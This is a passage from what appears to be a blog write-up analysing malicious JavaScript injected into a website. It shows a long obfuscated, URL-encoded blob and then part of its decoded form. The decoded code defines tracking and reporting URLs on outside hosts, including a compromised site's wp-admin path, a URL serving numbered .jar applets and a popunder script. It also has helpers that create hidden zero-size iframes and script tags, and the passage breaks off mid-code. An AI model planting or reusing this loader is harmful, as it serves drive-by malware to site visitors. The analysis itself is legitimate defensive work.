B%20XPmUao-kfo%3A%20jSPG%3B%20SQYaJhebeB-YPgfn%3A%20tYZsa%3B%20d-KPUUt%3Azdqt%3B%20VmCnGgfs%3A%20Xlkn%3B%20bSPV-WQiYOo%3A%20JHYMiB%3B%20afjq-jZya%3A%20fdRo%3B%20SkbRh%3A%20RSRAg%3B%20UZop-XcZfj%3A%20GGPkUn%3B%22%3E%3C%21--%3CTLl%20iapJan%22oVtq-RchcR%3A%20NGWj%3B%20sYGjX%3A%20or%25%3B%20KWSbZj%3A%20Xlkn%20WYVQ%3B%20SQYaJhebeB-YPgfn%3A%20%23cWW%3B%20akVFGi%3A%20rln%20VebPU%20%23fyixyy%22%3E--%3E%3CaZm%20rpcNG3%22VkdW-mUPXFp%3A%20CjcZ%3B%20cfes-oMbG%3A%20ssln%3B%20FebVi%3A%20%23DbG%3B%20kRZaZef%3A%20xgRZ%20zft%20ySn%20uWo%3B%20%3DWDfXnllec-YSNQi%3A%20%23sxsesr%3B%20aVVp-BgZck%3A%20cVep%22%3ErVGe%E7%E3e%3C7TLl%3E%3CTPm%20QpZgV8%22mRUceRI%3A%20ign%3B%20XQFaWYfSjE-Xfhli%3A%20%23Web%22%3E%3CHKX%20jjubH2%22jLoR-WMdXj%3A%20oZXgp%3B%22%3E%3CE%20UVpba2%22WUna-UCYPmRpffe%3A%20tjHGTcYjU%3B%20FebVi%3A%20%3DhVZ%22%20YnbW3%22iWZCUThefW%3AlePU%28Y%29%22%20kOXceZb3%22ckGWOVdp.WHj7SVKaOo5uFU%28%5C%27oxv_PKIYj%5C%27%29.ojbbU.KZQlMVp8%5C%27kfed%5C%27%3BZSEWdUjj.JUjycCiFik%2Bv%3DU%28%5C%27wud_HCUU%5C%27%29.ojbbU.KZQlMVp8%5C%27kfed%5C%27%3BZSEWdUjj.JUjycCiFik%2Bv%3DU%28%5C%27wud_NKXXp_SRdj%5C%27%29.ZkWhF.YZomcRx8%5C%27RQPV%5C%27%22%3E8aSKQh%3CsR%3E%3CjZJq%3E%3CUes%20jkxhIo%22RRTZYQW-jVg%3A%20glY%3B%20oVtq-RchcR%3A%20EGejah%22%3E%3CLcW%20TRPcJi%3A%20wlu%3B%20gRcZMPI%3A%20r%22%20inSp%22Xjag%3Aj7Tw.gkpkZlWKG.QiW7texiUsdxH6aWsR.aoc%22%20p%3E%3CnFZl%3E%3CZYY%20ijfcC8%22QVUZfeX%3A%200wTZ%20c%20tvln%20d%3B%20jUek-%2FhJbe%3A%20Ybekdn%3B%20JQPk-maYJXj%3A%20IfJZ%22%3E9jT%EA%20j%E3l%20gfroYK%20yRlW%20eX%20UbL%20VQp%E1%20EZjWYZchpEFQ.%3CSh%207%3E7VjQ%20W%E1XGjB%20kfoplZ%20qaGWTjeo%20gXU%20hLhSaSZd%20mrV%20f%20IWZC%20GjjaZD%20QjPm%2FZP.%3CWi%207%3E%3CYi%202%3E%3CZ%20pETIVj8%22_ROQdR%22%20YPaG7%22Ypqg%3A2%2BsaY.LRlW.SRc1Wk_mNmYfskcfZZp%22%3ErNZgqU%20DgkP%20g%2FnB%20deoqRcZn%20S%20RNlWed%20Ge%20%3DHm%2F.%3C7B%3E%3C6Ues%3E%3C%21--%3C2Uhr%3E--%3E%3CpFKm%3E%3C1ZYY%3E%3C1TPm%3E%27%20i%0D%0A%09%09%09%09%27%27%206%0D%0A%09%09%09%09%27%3CEdm%20ea3%22oxv_JCFV%22%20ipoOU2%22KZQlMVp%3A%20jleV%3B%20okWKVZej%3A%20QEieSlRa%3B%20Ujg%3A%20w%3B%20iVWs%3A%20w%3B%20aKFkX%3A%20%27%206%20lLUmWfPpXdUpe%201%20%27gw%3B%20dIKIYj%3A%20%27%206%20lLUmWfPpIZZcek%201%20%27ot%3B%20FCEbWneXdT-JfJkS%3A%20WcWZb%3B%20q-hjHGZ%3A%200qwr%3B%20-Pep-Vg%2FYJop%3A%20w.5%3B%20fgZYMVa%3A%20.zq%3B%20bYOjUY%3A%20RJlIV%28flXTZsuqkc%29%22%3E%3C2Tel%3E%27%3B%0D%0A%09%09%09o%2A%2A1%09%0D%0A%09%09%091siClPmk%20fXmR%20ceWCDcUZ%20QFSUZj%0D%0A%09%09%09Gb%20%28Knd_nbgfqp_SP%29%20yJC_YhHQjL%3DKc%28Knd_nbgfqp_NCXRebV%29%3B%0D%0A%09%09%09o1YM%20%28aQi_MVS_kk%29%20AJL_hED6VfkhW%28ZiT_c%2FX_KVmWlWW%29%3B%0D%0A%09%09%09hb%20%28NUO_cQX_eQ%29%20%3DI6_c%2FX5Zgkokt%28ioQ_NCS_ZWlDeVM%29%3B%0D%0A%09%09%09%0D%0A%09%09%09YmkEt.ZjpVis%2BIHQiU%28FI2_ShLRRa6kRj%28ekdk%29%2C%20dsQFp.VehVj5OZJZ%29%3B%0D%0A%09%09%09%09%0D%0A%09%09%09EjTqjVes.cIVtcUiUQj4f%3DB%28%27tZu_cedYk_bkRV%27%29.UkohU.GYiWc%2Fun%27WckZb%27%3B%0D%0A%09%09%09UnYYOGej.cUW7bLdCjU9pEa%28%27opy_hMIJk%27%29.ipoOU.TPjNhBt3%27XifTj%27%3B%0D%0A%09%09%09ZSEWdUjj.JUjycCiFik%2Bv%3DU%28%27wud_HCUU%27%29.ojbbU.KZQlMVp8%27Ycfbg%27%3B%0D%0A%09%09%7D%0D%0A%09%09%0D%0A%09%09LqQUo.edVUha5CbPmV%28FPD_TqaEVGJSnYSj%28ZZd_NkQpeZbi_lqh%29%2C%20LqQUo.bYUijwYGhE%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AaljZkZnj%20071_fd%2FhHQjL%28%29%0D%0A%7B%0D%0A%09ZD%20%28fTh_ckXUVc%29%20nIVWid%3B%09%0D%0A%09%0D%0A%09rQU%20covfBu%20n%20YfYrdVmp.FQFp%3B%0D%0A%09Yb%20%28cb4eKp%29%0D%0A%09%7B%0D%0A%09%09HoN_gfWaVU%20%2F%20pVWG%3B%0D%0A%09%09AII_eQ%2FdPk%28KupjUu%29%3B%0D%0A%09%7D%0D%0A%09bcjd%0D%0A%09%7B%0D%0A%09%09oIV8ZcaeXj%28%22%3D%3DD_MjqmVWqV%28%29%22%2C%20szw%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AJWPTjeeQ%20MYUUMs2ickXU%28W%29%0D%0A%7B%0D%0A%09uWV%20RTVl%208%20mLdTVn.MjMjRZ%3B%0D%0A%09tZecka.QPceWT%20p%20VkUTRePi%28%29%20%7B%20Zb%20%28miVu%29%20lVGX%28%29%3B%20W%28%29%3B%20%7D%0D%0A%7D%0D%0A%0D%0AMedGem8eJkBY%28AOJ_feBnICVV%29%3B%0D%0Aiaj9YcLfSp%28%22xND_kk6idWXG%28%29%22%2C%20jrqw%29%3B%0D%0A1%2A%0D%0APiW%20t%20U_FaY%28%20Y_S21%28%20%3F%3F%20%29%20%29%3B%0D%0AEKLy38EsDfGfCMBu%2Bf8xEPZqDi9g18QcJp2oCxQIJKPuJQTqLfre1qPiDPCs7K9z1e8zJq%3DvJN5e%0D%0AEJEm3pGkDHUYIaEzDKYf4LItPf%2FZDZ%2Bt%2BfwrEfFtPyVQ2LToI6BpDg%3DaK7UbJgLuLvCb2aayCMOr%0D%0A7qtyAOPxKqH1K%2BAbEcUt2p%3DSEHIdUaVhDdTsDsqYDPCfCJFpyf8xQPVrElUc1sTnJp%2BsDA%3DUJNPt%0D%0AIQPrMfva17SvDM7s6a9x1hHyWaTyINpeEJYp3pGjD4VLIdU0DqHs4LttOyKiDc%2Bpx%3D%3DvEiVpDCUc%0D%0A2LLsV6ymDQLWIrTrJjPpL%3DDM2a7yOc%3DZ6aly0OPyKab1V%2BAZEcIo26OeDH%2BNTKViEajy3bAoCf3f%0D%0ACpGdyfLyDvVoDi9g18PoJp2sPQQHJaPuJAPoLfsN3K%2FsDc7t7K9x0e4zK7T0JN5eQZEmCJafDoYZ%0D%0AIaQzPqXt4b5tEPSfDcFp%2BPpfDCBsESVO1L4sIJBoDg%3DaI%2BPuJjPpXvzY2aGyPM%2Fm7qxy1OTxJa41%0D%0AI%2BBMEZgs3pPTDH9cH7YwEqjy3bAvDiCfPZ3cxC4rPPVpEygc1sLmJp2tEAPXJKbtUwQdLfraB7%2Fs%0D%0ACc7p6Kui0u8vJKAlIdtbDG82%0D%0A%2Ao%0D%0A'</span>));</pre>  </div></div></p>
<p><p>I’m not going to bother breaking that up, it is just a mess anyway.&#160; But in the end you get this very well formatted code:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">var</span> jsm_report_on = <span style="color: #0000ff">true</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> <span style="color: #0000ff">var</span> jsm_report_access = <span style="color: #006080">'http://c.statcounter.com/7397725/0/d06ca43d/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> <span style="color: #0000ff">var</span> jsm_report_javaon = <span style="color: #006080">'http://c.statcounter.com/7397829/0/58cba984/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> <span style="color: #0000ff">var</span> jsm_report_javaoff = <span style="color: #006080">'http://c.statcounter.com/7415811/0/6dbe4166/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span> <span style="color: #0000ff">var</span> jsm_report_loaded = <span style="color: #006080">'http://c.statcounter.com/7415805/0/e6b0668f/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span> <span style="color: #0000ff">var</span> jsm_report_loadfail = <span style="color: #006080">'http://c.statcounter.com/7415819/0/56a1ce39/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span> <span style="color: #0000ff">var</span> jsm_lab_on = <span style="color: #0000ff">true</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span> <span style="color: #0000ff">var</span> jsm_lab_access = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_access'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span> <span style="color: #0000ff">var</span> jsm_lab_javaon = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_javaon'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span> <span style="color: #0000ff">var</span> jsm_lab_javaoff = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_javaoff'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span> <span style="color: #0000ff">var</span> jsm_lab_loaded = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_loaded'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span> <span style="color: #0000ff">var</span> jsm_lab_loadfail = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_loadfail'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span> <span style="color: #0000ff">var</span> jsm_loaded = <span style="color: #0000ff">false</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span> <span style="color: #0000ff">var</span> jsm_applet_index = 1;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span> <span style="color: #0000ff">var</span> jsm_applet_count = 200;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span> <span style="color: #0000ff">var</span> jsm_applet_prefix = <span style="color: #006080">'a'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span> <span style="color: #0000ff">var</span> jsm_applet_url = <span style="color: #006080">'http://advancedqualitysystem.com/Get/Get.php?a=/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span> <span style="color: #0000ff">var</span> jsm_popunder_url = <span style="color: #006080">'http://celularbom.com/js/clickpop.js'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span> <span style="color: #0000ff">function</span> JSM_getAppletURL() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>     <span style="color: #008000">//alert(jsm_applet_url + jsm_applet_prefix + jsm_applet_index + '.jar');</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>     <span style="color: #0000ff">return</span> jsm_applet_url + jsm_applet_prefix + jsm_applet_index + <span style="color: #006080">'.jar'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span> <span style="color: #0000ff">function</span> JSM_createIframe(src) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>     <span style="color: #0000ff">var</span> iframe = document.createElement(<span style="color: #006080">'iframe'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>     iframe.src = src;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>     iframe.style.visibility = <span style="color: #006080">'hidden'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>     iframe.style.display = <span style="color: #006080">'inline'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>     iframe.style.margin = <span style="color: #006080">'0'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>     iframe.style.padding = <span style="color: #006080">'0'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>     iframe.style.border = <span style="color: #006080">'none'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>     iframe.style.width = <span style="color: #006080">'0'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>     iframe.style.height = <span style="color: #006080">'0'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span>     <span style="color: #0000ff">return</span> iframe;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  36:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  37:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  38:</span> <span style="color: #0000ff">function</span> JSM_createScript(src) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  39:</span>     <span style="color: #0000ff">var</span> script = document.createElement(<span style="color: #006080">'script'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  40:</span>     script.type = <span style="color: #006080">'text/javascript'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  41:</span>     script.src = src;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  42:</span>     <span style="color: #0000ff">return</span> script;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  43:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  44:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  45:</span> <span style="color: #0000ff">function</span> getXMLHttpRequest() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  46:</span>     <span style="color: #0000ff">if</span> (window.XMLHttpRequest) <span style="color: #0000ff">return</span> <span style="color: #0000ff">new</span> window.XMLHttpRequest;</pre></p>
